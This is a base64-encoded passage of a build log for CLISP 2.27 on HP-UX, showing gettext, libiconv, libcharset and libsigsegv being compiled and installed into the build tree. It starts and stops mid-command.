J3MvLCwvLF9FTUFfLC9nJyA+IGFyaWxldjFlLmMKCS4vY29tbWVudDUgYXJpbGV2MWkuZCB8IC4v YW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwv LF9FTUFfLC9nJyA+IGFyaWxldjFpLmMKCS4vY29tbWVudDUgZ2VuY2xpc3BoLmQgfCAuL2Fuc2lk ZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1B XywvZycgPiBnZW5jbGlzcGguYwoJLi9jb21tZW50NSBtb2R1bGVzLmQgfCAuL2Fuc2lkZWNsIHwg Li92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycg PiBtb2R1bGVzLmMKCS4vY29tbWVudDUgbm9yZWFkbGluZS5kIHwgLi9hbnNpZGVjbCB8IC4vdmFy YnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gbm9y ZWFkbGluZS5jCgkuL2NvbW1lbnQ1IGFyaWhwcGEuZCA+IGFyaWhwcGEuYwoJbG4gLXMgc3RkYm9v bC5oLmluIHN0ZGJvb2wuaAoJY2QgZ2V0dGV4dC9pbnRsICYmIG1ha2UgLXIgQ0M9J2NjIC1BZSAt V3AsLUgxMDQ4NTc2JyBDRkxBR1M9Jy1EVU5JQ09ERSAtRERZTkFNSUNfRkZJJyBSQU5MSUI9J3Jh bmxpYicKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1jIC1ETE9DQUxFRElSPVwiL3Vzci9sb2NhbC9z aGFyZS9sb2NhbGVcIiAtRExPQ0FMRV9BTElBU19QQVRIPVwiL3Vzci9sb2NhbC9zaGFyZS9sb2Nh bGVcIiAgLURMSUJESVI9XCIvdXNyL2xvY2FsL2xpYlwiIC1ESEFWRV9DT05GSUdfSCAtSS4uIC1J LiAtSS4uL2ludGwgLUkvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9z cmMgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgIGludGwtY29tcGF0LmMKCWNjIC1BZSAtV3AsLUgx MDQ4NTc2IC1jIC1ETE9DQUxFRElSPVwiL3Vzci9sb2NhbC9zaGFyZS9sb2NhbGVcIiAtRExPQ0FM RV9BTElBU19QQVRIPVwiL3Vzci9sb2NhbC9zaGFyZS9sb2NhbGVcIiAgLURMSUJESVI9XCIvdXNy L2xvY2FsL2xpYlwiIC1ESEFWRV9DT05GSUdfSCAtSS4uIC1JLiAtSS4uL2ludGwgLUkvbmV0L3Ft YW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMgLURVTklDT0RFIC1ERFlOQU1J Q19GRkkgIGJpbmR0ZXh0ZG9tLmMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1jIC1ETE9DQUxFRElS PVwiL3Vzci9sb2NhbC9zaGFyZS9sb2NhbGVcIiAtRExPQ0FMRV9BTElBU19QQVRIPVwiL3Vzci9s b2NhbC9zaGFyZS9sb2NhbGVcIiAgLURMSUJESVI9XCIvdXNyL2xvY2FsL2xpYlwiIC1ESEFWRV9D T05GSUdfSCAtSS4uIC1JLiAtSS4uL2ludGwgLUkvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJh bGwvY2xpc3AtMi4yNy9zcmMgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgIGRjZ2V0dGV4dC5jCglj YyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtRExPQ0FMRURJUj1cIi91c3IvbG9jYWwvc2hhcmUvbG9j YWxlXCIgLURMT0NBTEVfQUxJQVNfUEFUSD1cIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlXCIgIC1E TElCRElSPVwiL3Vzci9sb2NhbC9saWJcIiAtREhBVkVfQ09ORklHX0ggLUkuLiAtSS4gLUkuLi9p bnRsIC1JL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjIC1EVU5J Q09ERSAtRERZTkFNSUNfRkZJICBkZ2V0dGV4dC5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAt RExPQ0FMRURJUj1cIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlXCIgLURMT0NBTEVfQUxJQVNfUEFU SD1cIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlXCIgIC1ETElCRElSPVwiL3Vzci9sb2NhbC9saWJc IiAtREhBVkVfQ09ORklHX0ggLUkuLiAtSS4gLUkuLi9pbnRsIC1JL25ldC9xbWFuL3BhdGNoZXMv c2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjIC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJICBnZXR0 ZXh0LmMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1jIC1ETE9DQUxFRElSPVwiL3Vzci9sb2NhbC9z aGFyZS9sb2NhbGVcIiAtRExPQ0FMRV9BTElBU19QQVRIPVwiL3Vzci9sb2NhbC9zaGFyZS9sb2Nh bGVcIiAgLURMSUJESVI9XCIvdXNyL2xvY2FsL2xpYlwiIC1ESEFWRV9DT05GSUdfSCAtSS4uIC1J LiAtSS4uL2ludGwgLUkvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9z cmMgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgIGZpbmRkb21haW4uYwoJY2MgLUFlIC1XcCwtSDEw NDg1NzYgLWMgLURMT0NBTEVESVI9XCIvdXNyL2xvY2FsL3NoYXJlL2xvY2FsZVwiIC1ETE9DQUxF X0FMSUFTX1BBVEg9XCIvdXNyL2xvY2FsL3NoYXJlL2xvY2FsZVwiICAtRExJQkRJUj1cIi91c3Iv bG9jYWwvbGliXCIgLURIQVZFX0NPTkZJR19IIC1JLi4gLUkuIC1JLi4vaW50bCAtSS9uZXQvcW1h bi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYyAtRFVOSUNPREUgLUREWU5BTUlD X0ZGSSAgbG9hZG1zZ2NhdC5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtRExPQ0FMRURJUj1c Ii91c3IvbG9jYWwvc2hhcmUvbG9jYWxlXCIgLURMT0NBTEVfQUxJQVNfUEFUSD1cIi91c3IvbG9j YWwvc2hhcmUvbG9jYWxlXCIgIC1ETElCRElSPVwiL3Vzci9sb2NhbC9saWJcIiAtREhBVkVfQ09O RklHX0ggLUkuLiAtSS4gLUkuLi9pbnRsIC1JL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxs L2NsaXNwLTIuMjcvc3JjIC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJICBsb2NhbGVhbGlhcy5jCglj YyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtRExPQ0FMRURJUj1cIi91c3IvbG9jYWwvc2hhcmUvbG9j YWxlXCIgLURMT0NBTEVfQUxJQVNfUEFUSD1cIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlXCIgIC1E TElCRElSPVwiL3Vzci9sb2NhbC9saWJcIiAtREhBVkVfQ09ORklHX0ggLUkuLiAtSS4gLUkuLi9p bnRsIC1JL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjIC1EVU5J Q09ERSAtRERZTkFNSUNfRkZJICB0ZXh0ZG9tYWluLmMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1j IC1ETE9DQUxFRElSPVwiL3Vzci9sb2NhbC9zaGFyZS9sb2NhbGVcIiAtRExPQ0FMRV9BTElBU19Q QVRIPVwiL3Vzci9sb2NhbC9zaGFyZS9sb2NhbGVcIiAgLURMSUJESVI9XCIvdXNyL2xvY2FsL2xp YlwiIC1ESEFWRV9DT05GSUdfSCAtSS4uIC1JLiAtSS4uL2ludGwgLUkvbmV0L3FtYW4vcGF0Y2hl cy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgIGwx MG5mbGlzdC5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtRExPQ0FMRURJUj1cIi91c3IvbG9j YWwvc2hhcmUvbG9jYWxlXCIgLURMT0NBTEVfQUxJQVNfUEFUSD1cIi91c3IvbG9jYWwvc2hhcmUv bG9jYWxlXCIgIC1ETElCRElSPVwiL3Vzci9sb2NhbC9saWJcIiAtREhBVkVfQ09ORklHX0ggLUku LiAtSS4gLUkuLi9pbnRsIC1JL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIu Mjcvc3JjIC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJICBleHBsb2RlbmFtZS5jCgljYyAtQWUgLVdw LC1IMTA0ODU3NiAtYyAtRExPQ0FMRURJUj1cIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlXCIgLURM T0NBTEVfQUxJQVNfUEFUSD1cIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlXCIgIC1ETElCRElSPVwi L3Vzci9sb2NhbC9saWJcIiAtREhBVkVfQ09ORklHX0ggLUkuLiAtSS4gLUkuLi9pbnRsIC1JL25l dC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjIC1EVU5JQ09ERSAtRERZ TkFNSUNfRkZJICBkY2lnZXR0ZXh0LmMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1jIC1ETE9DQUxF RElSPVwiL3Vzci9sb2NhbC9zaGFyZS9sb2NhbGVcIiAtRExPQ0FMRV9BTElBU19QQVRIPVwiL3Vz ci9sb2NhbC9zaGFyZS9sb2NhbGVcIiAgLURMSUJESVI9XCIvdXNyL2xvY2FsL2xpYlwiIC1ESEFW RV9DT05GSUdfSCAtSS4uIC1JLiAtSS4uL2ludGwgLUkvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3Rh cmJhbGwvY2xpc3AtMi4yNy9zcmMgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgIGRjbmdldHRleHQu YwoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLWMgLURMT0NBTEVESVI9XCIvdXNyL2xvY2FsL3NoYXJl L2xvY2FsZVwiIC1ETE9DQUxFX0FMSUFTX1BBVEg9XCIvdXNyL2xvY2FsL3NoYXJlL2xvY2FsZVwi ICAtRExJQkRJUj1cIi91c3IvbG9jYWwvbGliXCIgLURIQVZFX0NPTkZJR19IIC1JLi4gLUkuIC1J Li4vaW50bCAtSS9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYyAt RFVOSUNPREUgLUREWU5BTUlDX0ZGSSAgZG5nZXR0ZXh0LmMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2 IC1jIC1ETE9DQUxFRElSPVwiL3Vzci9sb2NhbC9zaGFyZS9sb2NhbGVcIiAtRExPQ0FMRV9BTElB U19QQVRIPVwiL3Vzci9sb2NhbC9zaGFyZS9sb2NhbGVcIiAgLURMSUJESVI9XCIvdXNyL2xvY2Fs L2xpYlwiIC1ESEFWRV9DT05GSUdfSCAtSS4uIC1JLiAtSS4uL2ludGwgLUkvbmV0L3FtYW4vcGF0 Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkg IG5nZXR0ZXh0LmMKCTogLXkgLWQgLS1uYW1lLXByZWZpeD1fX2dldHRleHQgLS1vdXRwdXQgcGx1 cmFsLmMgcGx1cmFsLnkKCXJtIC1mIHBsdXJhbC5oCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAt RExPQ0FMRURJUj1cIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlXCIgLURMT0NBTEVfQUxJQVNfUEFU SD1cIi91c3IvbG9jYWwvc2hhcmUvbG9jYWxlXCIgIC1ETElCRElSPVwiL3Vzci9sb2NhbC9saWJc IiAtREhBVkVfQ09ORklHX0ggLUkuLiAtSS4gLUkuLi9pbnRsIC1JL25ldC9xbWFuL3BhdGNoZXMv c2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjIC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJICBwbHVy YWwuYwoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLWMgLURMT0NBTEVESVI9XCIvdXNyL2xvY2FsL3No YXJlL2xvY2FsZVwiIC1ETE9DQUxFX0FMSUFTX1BBVEg9XCIvdXNyL2xvY2FsL3NoYXJlL2xvY2Fs ZVwiICAtRExJQkRJUj1cIi91c3IvbG9jYWwvbGliXCIgLURIQVZFX0NPTkZJR19IIC1JLi4gLUku IC1JLi4vaW50bCAtSS9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3Ny YyAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAgbG9jYWxjaGFyc2V0LmMKCXJtIC1mIGxpYmludGwu YQoJYXIgY3J1IGxpYmludGwuYSBpbnRsLWNvbXBhdC5vIGJpbmR0ZXh0ZG9tLm8gZGNnZXR0ZXh0 Lm8gZGdldHRleHQubyBnZXR0ZXh0Lm8gIGZpbmRkb21haW4ubyBsb2FkbXNnY2F0Lm8gbG9jYWxl YWxpYXMubyB0ZXh0ZG9tYWluLm8gbDEwbmZsaXN0Lm8gIGV4cGxvZGVuYW1lLm8gZGNpZ2V0dGV4 dC5vIGRjbmdldHRleHQubyBkbmdldHRleHQubyBuZ2V0dGV4dC5vICBwbHVyYWwubyBsb2NhbGNo YXJzZXQubwoJcmFubGliIGxpYmludGwuYQoJY3AgLi9saWJnbnVpbnRsLmggbGliaW50bC5oCgkv YmluL3NoIC4vY29uZmlnLmNoYXJzZXQgJ2hwcGExLjEtaHAtaHB1eCcgPiB0LWNoYXJzZXQuYWxp YXMKCW12IHQtY2hhcnNldC5hbGlhcyBjaGFyc2V0LmFsaWFzCglzZWQgLWUgJy9eIy9kJyAtZSAn cy9AJydQQUNLQUdFJydAL2NsaXNwL2cnIHJlZi1hZGQuc2luID4gdC1yZWYtYWRkLnNlZAoJbXYg dC1yZWYtYWRkLnNlZCByZWYtYWRkLnNlZAoJc2VkIC1lICcvXiMvZCcgLWUgJ3MvQCcnUEFDS0FH RScnQC9jbGlzcC9nJyByZWYtZGVsLnNpbiA+IHQtcmVmLWRlbC5zZWQKCW12IHQtcmVmLWRlbC5z ZWQgcmVmLWRlbC5zZWQKCWxuIC1zIGdldHRleHQvaW50bC9saWJpbnRsLmggbGliaW50bC5oCgli dWlsZGRpcj0iYHB3ZGAiOyBjZCBsaWJpY29udiAmJiBtYWtlICYmIG1ha2UgaW5zdGFsbC1saWIg bGliZGlyPSIkYnVpbGRkaXIiIGluY2x1ZGVkaXI9IiRidWlsZGRpciIKCWJ1aWxkZGlyPSJgcHdk YCI7IGNkIGxpYmNoYXJzZXQgJiYgbWFrZSBhbGwgJiYgbWFrZSBpbnN0YWxsLWxpYiBsaWJkaXI9 IiRidWlsZGRpci9saWIiIGluY2x1ZGVkaXI9IiRidWlsZGRpci9saWIiCgljZCBsaWIgJiYgbWFr ZSBhbGwKCWNkIGxpYiAmJiBtYWtlIGFsbAoJY2QgbGliICYmIG1ha2UgaW5zdGFsbC1saWIgbGli ZGlyPScvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliaWNv bnYvbGliJyBpbmNsdWRlZGlyPScvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3At Mi4yNy9zcmMvbGliaWNvbnYvbGliJwoJL2Jpbi9zaCAuLi8uLi8uLi8uLi9saWJpY29udi9saWJj aGFyc2V0L2xpYi8uLi9hdXRvY29uZi9ta2luc3RhbGxkaXJzIC9uZXQvcW1hbi9wYXRjaGVzL3Nh dmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJpY29udi9saWIKCS9iaW4vc2ggLi4vbGlidG9v bCAtLW1vZGU9aW5zdGFsbCAvb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCBsaWJjaGFy c2V0LmxhIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJp Y29udi9saWIvbGliY2hhcnNldC5sYQovb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCAu bGlicy9saWJjaGFyc2V0LmxhaSAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3At Mi4yNy9zcmMvbGliaWNvbnYvbGliL2xpYmNoYXJzZXQubGEKL29wdC9pbWFrZS9iaW4vaW5zdGFs bCAtYyAtbSA2NDQgLmxpYnMvbGliY2hhcnNldC5hIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFy YmFsbC9jbGlzcC0yLjI3L3NyYy9saWJpY29udi9saWIvbGliY2hhcnNldC5hCnJhbmxpYiAvbmV0 L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYvbGliL2xp YmNoYXJzZXQuYQpjaG1vZCA2NDQgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNw LTIuMjcvc3JjL2xpYmljb252L2xpYi9saWJjaGFyc2V0LmEKbGlidG9vbDogaW5zdGFsbDogd2Fy bmluZzogcmVtZW1iZXIgdG8gcnVuIGBsaWJ0b29sIC0tZmluaXNoIC91c3IvbG9jYWwvbGliJwoJ dGVzdCAtZiAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGli aWNvbnYvbGliL2NoYXJzZXQuYWxpYXMgJiYgb3JpZz0vbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3Rh cmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYvbGliL2NoYXJzZXQuYWxpYXMgXAoJICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICB8fCBvcmlnPWNoYXJzZXQuYWxpYXM7IFwKCXNlZCAt ZiByZWYtYWRkLnNlZCAkb3JpZyA+IC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlz cC0yLjI3L3NyYy9saWJpY29udi9saWIvdC1jaGFyc2V0LmFsaWFzOyBcCgkvb3B0L2ltYWtlL2Jp bi9pbnN0YWxsIC1jIC1tIDY0NCAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3At Mi4yNy9zcmMvbGliaWNvbnYvbGliL3QtY2hhcnNldC5hbGlhcyAvbmV0L3FtYW4vcGF0Y2hlcy9z YXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYvbGliL2NoYXJzZXQuYWxpYXM7IFwK CXJtIC1mIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJp Y29udi9saWIvdC1jaGFyc2V0LmFsaWFzCgkvYmluL3NoIC4uLy4uLy4uL2xpYmljb252L2xpYmNo YXJzZXQvYXV0b2NvbmYvbWtpbnN0YWxsZGlycyAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJh bGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYvbGliCgkvb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1j IC1tIDY0NCBpbmNsdWRlL2xpYmNoYXJzZXQuaCAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJh bGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYvbGliL2xpYmNoYXJzZXQuaAoJY2QgbGliICYmIG1h a2UgYWxsCgljZCBzcmMgJiYgbWFrZSBhbGwKCWNkIG1hbiAmJiBtYWtlIGFsbAoJaWYgdGVzdCAt ZCB0ZXN0czsgdGhlbiBjZCB0ZXN0cyAmJiBtYWtlIGFsbDsgZmkKCWJ1aWxkZGlyPSJgcHdkYCI7 IGNkIGxpYmNoYXJzZXQgJiYgbWFrZSBhbGwgJiYgbWFrZSBpbnN0YWxsLWxpYiBsaWJkaXI9IiRi dWlsZGRpci9saWIiIGluY2x1ZGVkaXI9IiRidWlsZGRpci9saWIiCgljZCBsaWIgJiYgbWFrZSBh bGwKCWNkIGxpYiAmJiBtYWtlIGFsbAoJY2QgbGliICYmIG1ha2UgaW5zdGFsbC1saWIgbGliZGly PScvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYv bGliJyBpbmNsdWRlZGlyPScvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4y Ny9zcmMvbGliaWNvbnYvbGliJwoJL2Jpbi9zaCAuLi8uLi8uLi8uLi9saWJpY29udi9saWJjaGFy c2V0L2xpYi8uLi9hdXRvY29uZi9ta2luc3RhbGxkaXJzIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUv dGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJpY29udi9saWIKCS9iaW4vc2ggLi4vbGlidG9vbCAt LW1vZGU9aW5zdGFsbCAvb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCBsaWJjaGFyc2V0 LmxhIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJpY29u di9saWIvbGliY2hhcnNldC5sYQovb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCAubGli cy9saWJjaGFyc2V0LmxhaSAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4y Ny9zcmMvbGliaWNvbnYvbGliL2xpYmNoYXJzZXQubGEKL29wdC9pbWFrZS9iaW4vaW5zdGFsbCAt YyAtbSA2NDQgLmxpYnMvbGliY2hhcnNldC5hIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFs bC9jbGlzcC0yLjI3L3NyYy9saWJpY29udi9saWIvbGliY2hhcnNldC5hCnJhbmxpYiAvbmV0L3Ft YW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYvbGliL2xpYmNo YXJzZXQuYQpjaG1vZCA2NDQgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIu Mjcvc3JjL2xpYmljb252L2xpYi9saWJjaGFyc2V0LmEKbGlidG9vbDogaW5zdGFsbDogd2Fybmlu ZzogcmVtZW1iZXIgdG8gcnVuIGBsaWJ0b29sIC0tZmluaXNoIC91c3IvbG9jYWwvbGliJwoJdGVz dCAtZiAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliaWNv bnYvbGliL2NoYXJzZXQuYWxpYXMgJiYgb3JpZz0vbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJh bGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYvbGliL2NoYXJzZXQuYWxpYXMgXAoJICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICB8fCBvcmlnPWNoYXJzZXQuYWxpYXM7IFwKCXNlZCAtZiBy ZWYtYWRkLnNlZCAkb3JpZyA+IC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0y LjI3L3NyYy9saWJpY29udi9saWIvdC1jaGFyc2V0LmFsaWFzOyBcCgkvb3B0L2ltYWtlL2Jpbi9p bnN0YWxsIC1jIC1tIDY0NCAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4y Ny9zcmMvbGliaWNvbnYvbGliL3QtY2hhcnNldC5hbGlhcyAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZl L3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYvbGliL2NoYXJzZXQuYWxpYXM7IFwKCXJt IC1mIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJpY29u di9saWIvdC1jaGFyc2V0LmFsaWFzCgkvYmluL3NoIC4uLy4uLy4uL2xpYmljb252L2xpYmNoYXJz ZXQvYXV0b2NvbmYvbWtpbnN0YWxsZGlycyAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwv Y2xpc3AtMi4yNy9zcmMvbGliaWNvbnYvbGliCgkvb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1t IDY0NCBpbmNsdWRlL2xpYmNoYXJzZXQuaCAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwv Y2xpc3AtMi4yNy9zcmMvbGliaWNvbnYvbGliL2xpYmNoYXJzZXQuaAoJY2QgbGliICYmIG1ha2Ug YWxsCgljZCBzcmMgJiYgbWFrZSBhbGwKCWNkIG1hbiAmJiBtYWtlIGFsbAoJaWYgdGVzdCAtZCB0 ZXN0czsgdGhlbiBjZCB0ZXN0cyAmJiBtYWtlIGFsbDsgZmkKCWNkIGxpYiAmJiBtYWtlIGluc3Rh bGwtbGliIGxpYmRpcj0nL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcv c3JjJyBpbmNsdWRlZGlyPScvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4y Ny9zcmMnCglpZiBbICEgLWQgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIu Mjcvc3JjIF0gOyB0aGVuIG1rZGlyIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlz cC0yLjI3L3NyYyA7IGZpCgkvYmluL3NoIC4uL2xpYnRvb2wgLS1tb2RlPWluc3RhbGwgL29wdC9p bWFrZS9iaW4vaW5zdGFsbCAtYyAtbSA2NDQgbGliaWNvbnYubGEgL25ldC9xbWFuL3BhdGNoZXMv c2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjL2xpYmljb252LmxhCi9vcHQvaW1ha2UvYmluL2lu c3RhbGwgLWMgLW0gNjQ0IC5saWJzL2xpYmljb252LmxhaSAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZl L3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYubGEKL29wdC9pbWFrZS9iaW4vaW5zdGFs bCAtYyAtbSA2NDQgLmxpYnMvbGliaWNvbnYuYSAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJh bGwvY2xpc3AtMi4yNy9zcmMvbGliaWNvbnYuYQpyYW5saWIgL25ldC9xbWFuL3BhdGNoZXMvc2F2 ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjL2xpYmljb252LmEKY2htb2QgNjQ0IC9uZXQvcW1hbi9w YXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJpY29udi5hCmxpYnRvb2w6IGlu c3RhbGw6IHdhcm5pbmc6IHJlbWVtYmVyIHRvIHJ1biBgbGlidG9vbCAtLWZpbmlzaCAvdXNyL2xv Y2FsL2xpYicKCWlmIFsgISAtZCAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3At Mi4yNy9zcmMgXSA7IHRoZW4gbWtkaXIgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2Ns aXNwLTIuMjcvc3JjIDsgZmkKCS9vcHQvaW1ha2UvYmluL2luc3RhbGwgLWMgLW0gNjQ0IGluY2x1 ZGUvaWNvbnYuaCAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMv aWNvbnYuaAoJYnVpbGRkaXI9ImBwd2RgIjsgY2Qgc2lnc2VndiAmJiBtYWtlICYmIG1ha2UgY2hl Y2sgJiYgbWFrZSBpbnN0YWxsLWxpYiBsaWJkaXI9IiRidWlsZGRpciIgaW5jbHVkZWRpcj0iJGJ1 aWxkZGlyIgoJLi90ZXN0MQoJLi90ZXN0MgoJLi90ZXN0MwoJaWYgWyAhIC1kIC9uZXQvcW1hbi9w YXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYyBdIDsgdGhlbiBta2RpciAvbmV0L3Ft YW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMgOyBmaQoJL2Jpbi9zaCAuL2xp YnRvb2wgLS1tb2RlPWluc3RhbGwgL29wdC9pbWFrZS9iaW4vaW5zdGFsbCAtYyAtbSA2NDQgbGli c2lnc2Vndi5sYSAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMv bGlic2lnc2Vndi5sYQovb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCAubGlicy9saWJz 